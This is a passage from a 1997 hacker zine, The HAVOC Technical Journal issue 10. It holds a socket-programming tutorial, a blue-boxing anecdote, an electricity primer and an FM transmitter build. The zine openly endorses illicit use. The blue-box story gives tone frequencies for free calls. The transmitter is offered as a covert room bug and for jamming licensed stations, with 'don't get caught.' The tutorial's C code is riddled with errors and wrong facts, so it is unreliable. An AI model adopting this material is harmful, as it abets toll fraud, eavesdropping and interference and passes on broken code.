’ÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕ¸
³The HAVOC Technical Journal                                       ³±
ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ±
 ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±

Vol. 1 | No.10 | May 1st, 1997 | A HAVOC Bell Systems Publication
  "Will someone please ICMP 127.0.0.1? That guy is an asshole!" -iCBM
_____________________________________________________________________________

			  -[The HAVOC Technical Journal Issue 10]-
		    Editorial..............................Scud-O
		    Network Programming for the Beginner...Scud-O
		    A Blue Box Story.......................memor
		    Basic Electricity......................ec|ipse
		    Pirating Your Own Radio Station........DataThief
		    French Pager Annoying..................memor
		    Unix Port Prober - prober.c............Scud-O
		    udp-scan.c [ from Satan 1.1.1 ]........Wietse Venema
		    phf.c (Again)..........................Scud-O/memor/[others]
		    The history of digital technology......REality
		    Scanning for losers....................shamr0ck
		    REality's Digital Dictionary...........REality
		    K-Kool hackers chat here!..............KungFuFox
		    The News...............................KungFuFox
		    Phonecalls.............................THTJ

		    -------------------------------------------------
 PLEASE NOTE: HBS's and THTJ's Web site is moving! Take note as Scud-O
 will be replacing his page with his own shit and code soon!

	   The new site is still under wraps, stay tuned to thtj for more info,
and look at the current geocities web site, which will lead you to the new
site.

_____________________________________________________________

Each pushes a weight against his chest, and howls
At his opponent each time that they clash: 
		  "Why do you squander?" and "Why do you hoard?"

Each wheels To roll his weight back round again; they rush 
Toward the circle's opposite point, collide 
Painfully once more, and curse each other afresh...

					  The Inferno of Dante, Canto VII 

[ Subliminal Message: Get Inferno OS NOW! http://www.lucent.com/inferno/ ]
_____________________________________________________________

The HAVOC Technical Journal - Information
- Editor in Chief : Scud-O, FoxMulder@worldnet.att.net
- Editor : KungFuFox, mazer@cycat.com
- Submissions Editor: Keystroke, keystroke@thepentagon.com
- THTJ email address: thtj@juno.com
- THTJ website: http://www.geocities.com/SiliconValley/8805
- THTJ mailing address: PO BOX 448 Sykesville, MD 21784 

  The HAVOC Technical Journal Vol. 1, No.10, May 1st, 1997.  
  A HAVOC Bell Systems Publication.  Contents Copyright (©) 
  1997 HAVOC Bell Systems Publishing.  All Rights Reserved.  
  No part of this publication may be reproduced in whole or 
  in part without the expressed written consent of HAVOC 
  Bell Systems Publishing.  [No copying THTJ, damnit.]
  
  The HAVOC Technical Journal does in no way endorse the 
  illicit use of computers, computer networks, and 
  telecommunications networks, nor is it to be held liable 
  for any adverse results of pursuing such activities.
  [Actually, to tell you the honest to goodness truth, we      
  do endorse that stuff.  We just don't wanna get in trouble 
  if you try it for yourself and something goes wrong.]

						   
  For infomation about using articles published in THTJ, send mail to:
			 e-mail: thtj@juno.com
			 mail:   THTJ
				    c/o HBS
				    PO Box 448
				    Sykesville, MD 21784
_____________________________________________________________
[Editorial : by Scud-O]

	   Ok, I had a great editorial all written up, but some things have
been going on, and I do not want to offend people, so I killed what I had
written up. So naturally there is no editorial. Sorry.

	   Hey, anyway, check out the new HBS site. I was bored with the old one
so I bombed it, and made a whole new site. and dont worry, the 'After the
Aftermath' doesn't mean that HBS or THTJ is going to die, we are stronger 
than ever, so dont worry.

	   I would like to send thanks out to KungFuFox, not only for editing
THTJ 9, but for majorly helping me out with THTJ. I owe you big Kung!

	   Also, thanks go to JP, who has risen AntiOnline from a new site on
a terribly slow connection, and a huge URL, to one of the largest hacking
sites on the web, and its own domain. Keep it coming JP! And JP, I owe you
too, thanks for your kind, witty advice, and for making a kick ass site, so
I felt bad about my site, and fixed it up, majorly.
				
	   And finally, wrath.sepulchre.org is gone. This is upsettting to me
since I was planing on moving my site, but thanks to too many lamers that
abused BitchX, wrath was K-Lined, and well after getting too many complaints
from sysamdins, chiapope pulled the plug. So, thanks a hell of a lot to you
lamers that made chia do this. ( You know who you are..... buncha punks...)

			[ AntiOnline: http://www.antionline.com ]
				 [ RIP : wrath.sepulchre.org ]

    ----------------------------------------------
  /       ---/   --/  /   /  |  /------/   /    /
 /---       /-----/------/-----/      /   /    /
/----------/                         /--------/
		    -of HAVOC Bell Systems-

FoxMulder@worldnet.att.net | http://www.geocities.com/SiliconValley/8805

(Hey, I'm left handed, so if ya dont like the quote, fuck you! )
"Any group that includes Charlemange, Rock Hudson, Paul McCartney,
Leonardo da Vinci, Benjamin Franklin, Jack the Ripper, and the
Boston Strangler must be select, if not elite."
				    -author James de Kay talking about left handers

The Truth May Be Out There (Call Me If You Find It)
_____________________________________________________________
				   [Network Programming for the Beginner]
								 A Tutorial by Scud-O

	   Network programming is the heart of UNIX programming. It is as simple
as that. (Well, ok not all programs need to communicate via a network, or
modem, but network programming is still none the less an important part to
UNIX.) And since this important topic can be so complex and compicated, I
decided to write this primer on sockets and socket programming. Now this
article is anything but complete and indepth, since this is only to give you
the basics. With this you can start writing various utilities and firewall
holes, whatever, but if you really want to know more, go out and buy the 3
volume set of books: TCP/IP Illustrated from Addison Westley Publishing.
Although i currently do not have this 3 volume set, ( hell, im too busy
saving up for my new car and a new hard drive!) I always stop by Borders and
spend a few hours reading it, of stealing my friends copy for a few days.

	   Ok, anyway, there are a few basic calls and protocols that you will
use for the connection.

	   o socket()
	   o bind()
	   o listen()
	   o accept()
	   o setsockopt()
	   o getsockopt()
	   o connect()
	   o sendto()
	   o recvfrom()

	   You must also decide on which type of protocol that you will use:
			 o Connection Based (TCP)
			 o Connectionless   (UDP)

[Ports and Sockets]

	   Network Programming is based on the use of sockets to accept and send
information. As i showed above, there are 2 main protocols that you can use
to send information. Transmission Control Protocol ( TCP ) and User Datagram
Protocol ( UDP ) are your 2 choices. TCP is a connection based protocol, 
which means that when you open up a port you send a 3 way handshake, and 
usually login with a user id and password. UDP is a connectionless protocol, 
which means that no login in is made, and a handshake is not done, so 
connections can be easily lost, and errors are common, however this is an 
easier protocol to implement (or so i think). Basically, the main difference 
is that with TCP a connection is set up first, while in UDP, data is 
exchanged as part of the message. Both protocols require you to have a port 
number which you open up to, to transfer information. numbers are used so a 
computer doesn't have to 'read' want applications are running ( why do you 
think UNIX uses pids? ). It also makes it easy for the os to know how many 
applications are running at any given time.
	   Technically, the port numbers could be assigned by the system
administrator, but for the most part ( about 99% ) servers uses some standard
conventions for assigning ports so machines can communicate. Port numbers are
assigned from 1 and go on up. For the most part ports above 255 are for the
local systems use only, but with everything, there are exceptions ( irc at
port 6667 or httpd at 8080 for example ). The ports from 1 to 255 are for 
most networking services.
	   Each network connection ( both going into and out of ) a host's port
is uniquely identified by a combination of 2 numbers, the ip address of the
machine and the port number in use, which together make up a socket.
	   Because at least 2 computer will be involed with the connection, 
there are sockets on both the sending and recieving ends of the connection. 
And since both the ip addresses and the ports are unique to each machine, the
sockets are thus unique, and this lets applications talk yo each other across
the network based entirely on the socket number.
	   Both machines on the connection maintain port lists that list all
active ports, and the 2 machines involed have reversed entries for each
session between the two, a process called binding. For example, if one 
machine has a source port at 23 and the destination at 25, the other machine 
will have a source port at 25 and a destination at 23.

[Socket Programming]
	   Linux supports BSD style socket programming, so everything here 
	   should work on either Linux or and of the BSD platforms.

	   Well, once again, here is the list of the main socket C functions you
	   will be using.
				    o socket()
				    o bind()
				    o listen()
				    o accept()
				    o setsockopt()
				    o getsockopt()
				    o connect()
				    o sendto()
				    o recvfrom()

[ The socket() System Call ]
	   The socket() system call creates a socket for the client of the 
	   server.
The socket() function is defined as:

	   #include <sys/types.h>
	   #include <sys/socket.h>

	   int socket(int family, int type, int protocol)

	   For linux, the family equals AF_UNIX. The type would be either
SOCK_STREAM ( socket stream: slow, reliable connection) or SOCK_DGRAM
( socket datagram: fast, less reliable connection). The protocol should
be IPPROTO_TCP for SOCK_STREAM and IPPROTO_UDP for SOCK_DGRAM.

	   The return value from this function is -1 if an error occured,
otherwise it is a socket descriptor. You use the socket descriptor to refer
to this socket in all calls in your program after a successful socket() .

	   Sockets are created without names, since bind() is used by the 
clients to read or write to a socket.

[ The bind() System Call ]

			 The bind() call assigns a name to an unnamed socket. Bind is
defined as:

	   #include <sys/types.h>
	   #include <sys/socket.h>

	   int bind(int sockfd, struct sockaddr *saddr, int addrlen)
	   
	   The first item is a socket descriptor, the second is a structure
holding the name to use, and the last item is the structure's size.

	   Now that you have bound an address for your client or server, you can
either connect() to it (if your code is a client) , or listen() to it, (if
your code is a server). First i'll show you listen() and a few other calls
that servers use, and then we will get to clients.

[ The listen() System Call ]

	   The listen() system call is used by the server. It is defined as:

	   #include <sys/types.h>
	   #include <sys/socket.h>

	   int listen(int sockfd, int backlog);

	   The sockfd is the socket descriptor, and the backlog is that 
wonderful little backlog queue that daemon9 showed us how to exploit in 
phrack 48. It holds the number of pending connections before any are 
rejected. Use the standard value of 5 for this. A return value of less than 1 
is a error.

	   If this call is successful, you can now accept connections.

[ The accept() System Call ]

	   accept() is used by a server to accept any incoming messages from
a client's connect() call. Be aware that this function does not return if no
connections are recieved. It is defined as:

	   #include <sys/types.h>
	   #include <sys/socket.h>

	   int accept(int sockfd, struct sockaddr *peeraddr, int addrlen);

The parameters are the same for the bind() call, except that peeraddr points
to information about the client that is making the connection request. Based
upon the incoming message, the fields in peeraddr are filled out.

[ The connect() System Call ]
	   connect() is used by a client program to connect to a server when you
are using a connection-based system (ie, TCP). This call should be made after
you have bind()ed the connection. It is defined as:

	   #include <sys/types.h>
	   #include <sys/socket.h>

	   int connect(int sockfd, struct sockaddr *servaddr, int addrlen);

	   As you can see, the parameters are the same as those for the bind 
call except for that servaddr points to info about the server that the client 
is connecting to. The accept() call creates a new socket for the server to 
work with the request. This way, the server can fork() off a new process and 
wait for more connections.

[ setsockopt(), getsockopt(), and the Linux bug ]
	   You may not know this, but there is a major bug in Linux's socket
libraries. The bug is that even if you have closed a socket properly, you
cannot reuse that socket.( I think daemon9 discussed this in his TCP/SYN
article for phrack 48, and i think that his ideas on what was causing the
problem is right, but that remains to be seen. ) For example,if you write
a server that waits on a socket, it opens the socket and listens on it with
a single problem. However, if the server either crashes or normally 
terminates and you restart the server, you can not bind back to the same 
port. The error codes from bind() keep returning an error indicating that the 
port you are trying to connect on is already bound by another process.
	   The problem lies in the fact that Linux's kernel never marks ports as
unused when the process that is using the socket terminates.

	   To get around this, the solution is to use setsockopt() to set the
options on the socket when it is opened, and before a connection is made. The
setsockopt() sets options and the getsockopt() call gets options for a given
socket.

	   The syntax and definition of the 2 calls are:

	   #include <sys/types.h>
	   #include <sys/socket.h>

	   int setsockopt( int sockfd, int level, int name, char *value,
												    int *otplen)
	   int getsockopt( int sockfd, int level, int name, char *value,
												    int *otplen)

	   Once again, the sockfd must be an open socket, level is the protocol
level, either IPPROTO_TCP for TCP/IP or SOL_SOCKET for socket level options.
Name is the option as defined in the socket's man page. the *valeu pointer
points to the location where a value is set by getsockopt() and must be set
by you when calling setscokopt().
	   The full man page for this is under man page setsockopt(2). Have fun
reading it.
	   Now, back to the bug. When you open a socket, you must also call the
setsockopt() function like so:

	   #ifdef LINUX
	   opt = 1; len = sizeof(opt);
	   setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&opt,&len);
	   #endif

	   You only  will need the #ifdef and #endif if you want to be able to
quickly and easily port this code, since some UNIX systems dont support the
SO_REUSEADDR flag.


[ Sample Code: A Socket Oriented Server ]

/********************************************************
* Sample Code: A Socket Oriented Server, from THTJ 10
* Written By Scud-O of HBS
********************************************************/

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/net.h>

#define PORT 1152  /* Use what ever you want, it doesn't matter */

main(int argc, char *argv[])
{
	   int sockfd, newfd;
	   int cpid;  /* child id */
	   struct sockaddr_in servaddr;
	   struct sockaddr_in client_info;

	   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0) < 0 )
			 {
				    myabort("Unable to create socket");
			 }

	   #ifdef LINUX
	   opt = 1; len = sizeof(opt);
	   setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, &len));
	   #endif

	   bzero((char *)&servaddr, sizeof(servaddr));

	   servaddr.sin_family = AF_INET;
	   servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
	   servaddr.sin_family = htons(PORT);

/******************
* the htonl ( for a long integer ) and htons ( for short integer ) convert
* a host oriented byte order * into a network order.
*******************/

if(bind(sockfd, sockaddr *)&servaddr, sizeof(struct sickaddr)) < 0)
{
	myabort("Unable to bind socket");
}

listen(sockfd, 5);
for(;;)
{
	/* Wait here.... */
	newfd = accept(sockfd, (struct sockaddr *)&client_info, 
					sizeof(struct sockaddr);
	if(newfd < 0)
			 myabort("Unable to accept on socket");
	if(( cpid = fork()) < 0)
		myabort("Unable to fork on accept");
	else if (cpid == 0)
	{
		/*  Child Process */
		close(sockfd); /* We dont need the original anymore */

		/* Place your code for what you want the server to do where
		   do_what_ever_here(newfd); is ! */
		do_what_ever_here(newfd); 

		exit(0);
	}
	close(newfd); /* were back in the parent */

} /* end of for loop */                      

/* Good Bye! */     
}

Ok, so basically, the conection based server does the following things:

	   o Creates a socket with socket()
	   o Binds itself to an address with bind()
	   o Listens for connections with listen()
	   o accept any incoming connections with accept()
	   o Gets incoming messages with read() and writes with write()
		[ read() and write() will be in your do_what_ever_here() call! ]

NOTE: myabort() should be a procedure YOU create to handle error messages, 
and then kill the process, restart, etc.

Now, for a client.....
[ The Client ]       

/********************************************************
* Sample Code: A Socket Oriented Client, from THTJ 10
* Written By Scud-O of HBS
********************************************************/

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/net.h>

#define PORT 1152  /* Use what ever you want, it doesn't matter */
#defne MY_HOST_ADDR "Put.Your.IP.Here"

int getServerSocketId()
{
	   int fd, len;
	   struct sockaddr_in unix_addr;
	   /* Create a Unix domain stream socket */
	   if( (fd - socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
	   {
			 return(-1)
	   }
	   #ifdef LINUX
	   opt = 1; len = sizeof(opt);
	   setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, &len);
	   #endif

	   /* Fill socket address structure with our address */
	   memset(&unix_addr, 0 , sizeof(unix_addr));
	   unix_addr.sin_family = AF_INET;

	   /* Convert internet address to binary value */
	   unix_addr.sin_addr.s_addr = inet_addr(MY_HOST_ADDR);
	   unix_addr.sin_family = htons(PORT);

	   if(bind(fd, (struct sockaddr *) &unix_addr, len) < 0)
			 return(-2);
	   memset(&unix_addr, 0, sizeof(unix_addr));
	   if(connect(fd, (struct sockaddr *) &unix_addr, len) < 0)
			 return(-3);

	   return(fd);
}

	   /* Add in main() function, do whatever you like to send out
	   error messages, etc..... */

	   The client does the following things:

	   o Creates a socket with socket()
	   o Attempts to connect with connect()
	   o If a connection is made, request data with write(), read info with
		read() [ NOTE: these would be called in main() ]

Now, for a connectionless socket example

[ Connectionless Sockets : The Server ]

	   Ok, first we will need to know the few, subtile, but important
differences with connectionless socket programming. The first main principle
is that the server uses recvfrom() instead of listen() and accept(). And, to
reply to messages, sendto() is used.

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/net.h>

#define PORT 262  /* Use what you wish */
#define MAXM 4096
chat mesg[MAXM];

main(int argc char *argv[])
{
	   int sockfd, newfd;
	   int cpid; /* for child process id */
	   struct sockaddr_in servaddr;
	   struct sockaddr_in client_info;

	   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0) < 0 )
			 {
				    myabort("Unable to create socket");
			 }

	   #ifdef LINUX
	   opt = 1; len = sizeof(opt);
	   setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, &len));
	   #endif

	   bzero((char *)&servaddr, sizeof(servaddr));

	   servaddr.sin_family = AF_INET;
	   servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
	   servaddr.sin_family = htons(PORT);

/******************
* the htonl ( for a long integer ) and htons ( for short integer ) convert
* a host oriented byte order * into a network order.
*******************/

if(bind(sockfd, sockaddr *)&servaddr, sizeof(struct sickaddr)) < 0)
{
	myabort("Unable to bind socket");
}

for(;;)
{
	/* Wait here.... */
	   n = recvfrom(sockfd,mesg, MAXM, 0, (struct sockaddr *)&client_info,
				 sizeof(struct sockaddr));

	   /* Place what server is to do in here. */
	   do_what_ever_here(mesg);

	   sendto(sockfd, mesg, n, 0, (struct sockaddr *)&client_info,
			 sizeof(struct sockaddr));
} /* end of for loop */
/* Good bye! */
}

As you can see, connectionless programming is much easier than connection
based programming, but i still advise against using connectionless, since
errors are very common. And, a pain lies in that you must process each 
message one at a time, since messages from multiple clients can be 
multiplexed together. In the connection based model, the child process always 
knows where each message is coming from.

	   The client, doesn't need to call the connect() call either, instead 
it calls sendto() directly. For a client side of the connectionless 
connection, use the same code as in the server, but note that sendto() is 
called before recvfrom(), as so:

	   #include <sys/types.h>
	   #include <sys/socket.h>

	   int sendto(int sockfd, const void *message__, /* pointer to message*/
				int length, /* of message */
				unsigned int flags, /* of routing, leave as 0 */
				const struct sockaddr * client, /* where to send it */
				int length ); /* of sockaddr */

	   NOTE: Uses this call, not sendmsg(), since sendto() is more efficent

	   Any errors are returned as -1, and only local errors will be 
	   detected.

	   recvfrom() looks like:

	   #include <sys/types.h>
	   #include <sys/socket.h>

	   int recvfrom(int sockfd, const void *message__, /* pointer to message*/
				int length, /* of message */
				unsigned int flags, /* of routing, leave as 0 */
				const struct sockaddr * client, /* where to send it */
				int length ); /* of sockaddr */

	   Note that iff the message is too long to fit in the buffers, the 
extra bytes will be discarded. The call could return immediately, or it could 
wait forever, it all depends on the type of flag that is sent. I also 
recommend that you set timeout values, read the man page for recvfrom, since 
this info changes from server to server.

	   Ok, well, this is all for this beginner on Socket Programming. I have
barely even started to get to the core of socket programming, but one can
only devote so much time to a subject. For more information, check out the
book : 'UNIX Network Programming' by W. Richard Stevens ( Prentice Hall, 
1990) this is by far the most comprehensive guide out there, and most 
Universities use it for a text book for thier advanced C classes.

_____________________________________________________________
								   [A Blue Box Story]
										   by memor

Israel Blueboxing is born because we found a Teletel Gate that we can
access via a local israel number.

**************************
*Remember Teletel Network*
**************************

It is a V23 interface (1200/75Bauds that you can access with USR sportster,
changing S38 register with ATS38=4&w &w for saving changes).
It is under some Videotex Terminals. There are many kinds of that terminals,
the first one made by France Telecom nammed "Minitel", it is like a modem +
 console.. The modem is a CAP23(1200/75bauds remote .. To 9600Bauds Local)
and the console is Videotex (40 Cols mode or 80 Cols), the 40 Cols mode is
the most used because its a graphical mode and 80 Cols is only a text mode.
You activate Graphism mode on 40Cols with a $0e sent (Control + N) , after
you calculate the graphism you send on a caracter with that method:

*********
*$01*$02* example: if you want to make that graphism : ²
*********                                              ²² 
*$04*$08*                                              ²
*********
*$10*$40* You will have to make lightning $01,$04,$10 and $08 with that
********* algorythm : $20 + $01 + $04 + $08 + $10 = $3D
		So you'll have to send to the local console a $0E , $3D.

Colors(or gray scale if the minitel console is monochrom) or minitel are 
accessible with thoses commands sent to the local console:

	   Text Color:
	   ***********

	   ESC @ - BLACK     -
	   ESC D - DARK BLUE -
	   ESC A - RED       -
	   ESC E - PURPLE    -
	   ESC B - GREEN     -
	   ESC F - LIGHT BLUE-
	   ESC C - YELLOW    -
	   ESC G - WHITE     -

	   Background Color:
	   *****************

	   ESC P - BLACK     -
	   ESC T - DARK BLUE -
	   ESC Q - RED       -
	   ESC U - PURPLE    -
	   ESC R - GREEN     -
	   ESC V - LIGHT BLUE-
	   ESC S - YELLOW    - 
	   ESC W - WHITE     -
	   
You can use some effects on videotex terminal.. like thoses ones:

	   Effect:
	   *******

	   ESC Z : underlining
	   ESC Y : Stop Underlining
	   ESC ] : Inverse Video Mode
	   ESC \ : Normal Video Mode
	   CONTROL + N : Graphism Mode
	   CONTROL + O : Text Mode
	   ESC H : Flash On
	   ESC I : Flash Off

Normally on bbs (v32 v34...), file transfer are done in Zmodem,Ymodem, 
Xmodem or others Kermit... On Teletel Terminal or videotex RTC (Commuted 
Telephone Networks.. little BBS 1200/75 V23) are done in BBT protocole,
a real slow and bad one (BBT protocol are free on ftp.teaser.fr or 
ftp.minitel.fr,recently hacked with some libroot.gz,unreachable)

	   Little Videotex RTC answer output exemple: 
	   
	   /* Minitel send a carrier on a "RING" */
	   
	   atz<cr>                     /* Software Reset*/
	   OK
	   ats34=8<cr>                 /*Configuring modem for V23*/
	   OK
	   *** executing answer script
	   RING
	   RING                       /*Answer after 2 rings because S00 
							sportster register S00=02*/
	   ata<cr>                    /*Send a carrier*/
	   CONNECT 1200/75            /*Connected to Cap23 or Minitel*/
	   *** connected
	   *** run c:\usr\minitel\minitel.exe

	   for more informations about teletel networks, email
	   (France Telecom main server administrator) root@ftp.minitel.fr
	   (A really known Teletel programmer and Graphist) chip@mail.teaser.fr
	   (A videotex Graphist) darkseed@avo.net

***********************
*Back To Bluebox Story*
***********************

So, just like I said before , I and some phreakers friends were trying 
to bluebox on ISRAEL for calling for free that teletel gate (Israel allow
only local dials with blueboxing) frequencies(mf) were :

	   Frequencie1: F1:     2650
				 F2:     2250
				 Lenght: 175ms

				 Delay:  10ms

	   Frequencie2: F1:     2420
				 F2:     2400
				 Lenght: 345ms

				 Delay:  10ms

And the dial was AxxxxxxxxC A for local call.. B hanged up directly after
some "disconnect" beeps and A + routine code + country code hanged up too,
well only local call allowed.
After 1 month of total blueboxing of some of us , a mass
bust of DST came (DST == Territory Security Department)... the cops , 
after taking our computers (Atari STe , Mega St.. Amiga 500 and 1200 +
Screens + Modems and all the hardware interfaces) and they just asked
us if we were from the israelite spy service nammed Mossad.. We were only 
using thoses israel free phones numbers (080090xxxx) for using minitel
with free calls.

on Atari (Mega)St(e) , we were using Breeblebox.
on Amiga 1200 , we were using Ultimate Access

memor 04/09/97

*********************
*Some infoz about me*
*********************

my emails memor@mygale.org
		memor@stepahead.net

my phreaker page with links : http://www.mygale.org/00/memor

_____________________________________________________________
	Basic Electricity - by ec|ipse.

1.1  The Electron Theory

	All the effects of electricity can be explained and predicted by 
	assuming the existence of a tiny particle called an electron.  All the 
	electrical or electronic devices used today have one thing in common, 
	they are concerned with the controlling of electron movements.  Three 
	fundamental invisible quantities; voltage, current, and resistance are 
	present in every electrical circuit.  These quantities are controlled 
	and directed by the proper arrangement of component parts to produce the 
	desired electron movement.

1.2  Voltage (Abbreviated as E)

	Voltage is an electromotive force or pressure that causes electrons to
	move.  If we consider a battery, it has a negatively charged pole and a 
	positively charged pole.  An electron is a small particle with a 
	negative charged pole.  An electron is a small particle with a negetive 
	charge so it will be pulled to the positive pole and pushed away by the 
	negative pole of the battery.  The strength of the push and pull is 
	governed by the difference in potential of the two poles.  The potential 
	difference is a force that can cause electrons to move from negative to 
	positive and it is measured in volts.

1.3  Current (Abbreviated as I)

	The movement of electrons along a wire is called current flow and 
	because electrons move from negative to positive, current is also said 
	to flow from negative to positive.  Current is produced by voltage and 
	the rate that current is flowing is measured in amperes, similar to the 
	way we measure water flow in gallons per second.

1.4  Resistance (Abbreviated as R)

	When an electrical current flows through a conductor, there is a loss 
	of energy or opposition to the flow similar to the friction that occurs
	when water flows through a pipe.  The cause of this loss in an 
	electrical circuit is called resistance and is measured in ohms.  A 
	difference in potential of one volt will cause one ampere to flow though 
	one ohm of resistance.  This is the basis for Ohm's Law which gives the 
	relationship for E, I and R in all electrical circuits involving only 
	resistance.

1.5  Prefixed Used With Electrical Units

	In measuring currents, voltages, and resistances, the ampere, volt, and
	ohm, respectively are not always units of convenient size.  Related 
	units are often used that have values 10, 100, 1,000 or more times 
	larger or smaller than these fundamental units.  The size indicated by a 
	prefix added to the fundamental name of the unit as follows:
	
	Mega                               1,000,000 =    10(6)
	Kilo                                   1,000 =    10(3)
	Deci                                    1/10 =   10(-1)
	Milli                                1/1,000 =   10(-3)
	Micro                            1/1,000,000 =   10(-6)
	Pico                   1/100,000,000,000,000 =  10(-12)                     
    
	The most common of these that you will encounter are as follows:
	
	A milliampere often referred to as a "milli" is 1/1,00 or .001 amperes.

	A kilohm is 1,000 ohms.

	A megohm is 1,000,000 ohms.
  
	A microfarad, used for measuring capacitance, is referred to as a "mike"
	and is 1/1,000,000 of a farad.


1.6  Ohm's Law

	I have briefly mentioned Ohm's Law when giving some of the preceding 
	definitions, and it is the most important single principle in 
	electricity. Maybe we should take a brief look at the law and what it 
	means before we go any further.

	Expressed as an equation, the law becomes:

				   I = E/R

	By manipulaiton, the law can also be writen as:

		   R = E/I  or  E = I x R
				  
	An easy way to remember these three equations of Ohm's law is to draw a 
	circle and divide it in two with a horizontal line.  Place E in the top 
	half of the circle, and divide the lower half of the circle with the 
	vertical line placing I to the left of the line and R to the right of 
	the line.  If you wish to find the voltage (E), place your thumb over E 
	and you find E = I x R.  If you wish to find the aperes (I), place your 
	thumb over I and you find I = E/R

1.7  Difference of Potential

	We often hear the statement "all we need to make a relay operate is 
	battery and ground."  This is true, but it would be more correct to say
	"all we need to operate a relay is a 'Difference of Potential'."  If 
	you learn to look at it this way, you will find it much easier to 
	understand the biasing of transistors at a later date.  The force 
	or effect that causes the electron flow between our battery and ground
	is simply a difference of potential.  So let us have a look at what we
	mean by a difference of potential.

	Because electron flow if from negative to positive, the negative side 
	of a battery could be said to push the electrons, and the positive side
	of a battery could be said to pull the electrons.

	If we were using a 50 volt battery supply (standard office voltage) it
	is the sum of the negative push and the positive pull which gives us 
	our total of Electron Moving Force, or pressure that is exerted on the
	electrons.  This force or pressure is properly known as Voltage or 
	Electromotive Force (E.M.F.).

	In actual practice, we ground the positive side of our battery and then
	ground the side of the relay that would have gone to the positive 
	battery terminal.  Now you can see why we say "all we need to make our
	relay operate is battery and ground".  But nothing has changed, really.
	Our potential difference and current flow will remain the same.
 
1.8  Booster Battery

	We have another battery supply in a central office known as booster 
	battery which is usually either 50 or 60 volts.  However, our external
	connections are reversed.  That is to say, the negative side of the 
	battery is connected to ground and the positive side is connected to  
	the load.

	The Rule for electron movement, negative to positive, still applies.
_____________________________________________________________
				
				-------------------------------------
			    --=[Pirating Your Own Radio Station]=--
		   Written by DataThief - Built by DataThief and Delcon
				-------------------------------------

Here it is hackers and phreaks - How to build your own radio station.
I'm sure you have all wanted your own way to communicate to the masses at 
one time or another, or if not, this can also be used as a wireless room
bug.  The actual construction is only about 2 x 3 x .5 inches including AA
battery (AT MAX).  

Supplies:
												    Symbol on 
Name                    Value/Item #               Quantity     Diagram
--------------------------------------------------------------------------
Soldering iron   
A PC Board              4030                       1            
Capacitator             100pF (marked 101)         1            C2
Capacitator             10pF  (marked 10)          1            C3
Capacitator             4pf   (marked 103)         2            C4,C6
Capacitator             0.01uF (marked 103)        1            C5
Resistor                10 kOhm (Br,Bl,Or,Go)      1            R1
Resistor                1.2 kOhm (Br,Re,Re,Go)     1            R2
Resistor                33 kOhm (Or,Or,Or,Go)      2            R3,R5
Resistor                100 Ohm (Br,Bl,Br,Go)      1            R4
Resistor                180 Ohm (Br,Gr,Br,Go)      1            R6
Transistor              2SC1923 (marked C1923)     2            TR1,TR2
Electret Condenser Mic                             1            ECM
Electrolytic Capacitor  10uF                       2            C1,C7
Coil                    0.27-0.30uH                1            L
1.5 Volt Battery (AA,AAA,N battery)                1            B
1.5 Volt Battery holder                            1            BH
1 Toggle Switch with 2 prongs on back (not 3)      1            S
And some insulated copper wire

KEY:    Br = Brown
	   Bl = Black
	   Or = Orange
	   Go = Gold
	   Re = Red

These are all the supplies needed for the bug, and will allow a signal that
carries about 50-100 feet over a clear FM channel (the FM range is between
71-79 FM).  For a radio station, I suggest you add a bigger amp and a much
larger antenna (I use a CB antenna to transmit about 1-2 miles..)

 ___________________________________________________________
| Block Diagram                                             |
|                                                       ANT |
|                                                       \./ |
|   _____ECM____       ____TR-1____       ____TR-2___    |  |
|  |  Condenser |     | Oscilator/ |     |           |   |  |
|  | Microphone |---->| Modulator  |---->| Amplifier |---'  |
|  `------------'     `------------'     `-----------'      |
|       |___________________|__________________|            |
|                                              |            |
|                                          __________       |
|                                         | Power    |      |                                      Supply
|                                         |   Supply |      |
|                                         `----------'      |
|                                                           |
`-----------------------------------------------------------'
													\./
Schematic Diagram                                                 |ANT.
	   .----------------*----*------*------*----------*-----*----|--*----.
	   |                |    |      |      |          |     |    |  |    |
	   \                \    |C5/   |C4/4P )          \     \    |  |    |
	   / R2/        R3/ /   ===    ===     )l    R5/  / R6/ /    |  |    |
	   \ 1.28K      33K \    |0.01u |      )*-.  33K  \ 180 \    |  |    |
	   /                /   _|___   |      )  |       /     /    |  |    |
	   |                |   ///     *------'  |       |     *----'  |    |
 ---    |    R1/    ||+  |        _/ |         |  ||   |   |/      + |    |
| E |---*--/\/\/\---||---*-------|_ ===C3/     `--||---*---|TR2    ====   |
| C |        10K    ||   |      TR1\ | 10P        ||       |\    C7/ |    |
| M |---.       C1/10u   |          `*           C6/4P       |   10u |    |
`---'   |                |           |                       |       |    |
	   |                |           /                       |       |    |
	   |                |       R4/ \                       |       |    |
	   |          C2/   |       100 /                       |       |    |
	   |          100P ===          \                       |       |    |
	   |                |           |                       |       |    |
	   `----------------*-----------*-----------------------*-------*    |
													    |    |
										DC-IN  (-)---------'    |
											  (+)--------------'


Well, that's the best I can do in text.  If you are seriously interested in
building one, and you can't read this well enough, I might make one as a gif
or something.  I hope you enjoy it, and don't get caught.

A few suggestions you could do to have lots of fun with your new pirate 
radio station:

1) You could piss alot of hicks off by transmitting over a local country
   station and tell them how much they suck!
2) You could piss alot more people off by transmitting over the most popular
